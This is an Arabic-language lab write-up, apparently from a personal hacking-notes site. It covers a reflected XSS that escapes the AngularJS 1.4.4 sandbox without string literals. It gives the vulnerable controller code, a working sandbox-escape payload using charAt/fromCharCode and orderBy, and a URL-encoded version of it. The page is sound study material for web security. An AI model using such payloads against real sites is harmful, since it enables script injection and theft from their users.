> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/xss/angularjs-sandbox-escape-without-strings.md).

# الهروب من صندوق AngularJS بدون سلاسل

### ثغرة XSS منعكسة مع الهروب من صندوق AngularJS الرملي بدون سلاسل نصية

ثغرة XSS منعكسة على AngularJS **1.4.4** — اهرب من الصندوق الرملي وتنفّذ `alert(1)` بدون `$eval` أو السلاسل النصية الثابتة.

<figure><img src="/files/a0878243ad6787bb4f1d40e50920a113e489176b" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/7cf59d337039a71bd061c5df102aad7e80675dc1" alt=""><figcaption></figcaption></figure>

**الكود المرصود**

```javascript
angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
                            $scope.query = {};
                            var key = 'search';
                            $scope.query[key] = 'test';
                            $scope.value = $parse(key)($scope.query);
                        });
```

**محاولات**

* اختبار السلسلة / $eval (لا يعمل): / `{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}`
* يمكن كسر التحليل عن طريق الحقن عبر سلسلة الاستعلام باستخدام `&`:/ `&7+ 7` → `&7%2b7`

<figure><img src="/files/cbabe526e54704832488a4f0fcd3b5e16fa01853" alt=""><figcaption></figcaption></figure>

بناء ديناميكي `alert(1)` عبر `toString().constructor.fromCharCode(...)` وإجبار تقييم المُرشِّح (`orderBy`):

<figure><img src="/files/d64c300525062b4b14513d98c464fcc3f9a1d945" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```javascript
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
```

{% endcode %}

" هذا الجزء يكسر التحليل، وبالهيكس/ASCII ينتج `alert(0)` السلسلة النصية.

**الحمولة (مشفرة بعنوان URL، مُقدَّمة)**

{% code overflow="wrap" %}

```javascript
%74%6f%53%74%72%69%6e%67%28%29%2e%63%6f%6e%73%74%72%75%63%74%6f%72%2e%70%72%6f%74%6f%74%79%70%65%2e%63%68%61%72%41%74%3d%5b%5d%2e%6a%6f%69%6e%3b%20%5b%31%2c%32%5d%7c%6f%72%64%65%72%42%79%3a%74%6f%53%74%72%69%6e%67%28%29%2e%63%6f%6e%73%74%72%75%63%74%6f%72%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%31%32%30%2c%36%31%2c%39%37%2c%31%30%38%2c%31%30%31%2c%31%31%34%2c%31%31%36%2c%34%30%2c%34%39%2c%34%31%29
```

{% endcode %}

<figure><img src="/files/086b335a82620e8a2b0ac8ace1a165e695794d13" alt="" width="366"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/xss/angularjs-sandbox-escape-without-strings.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
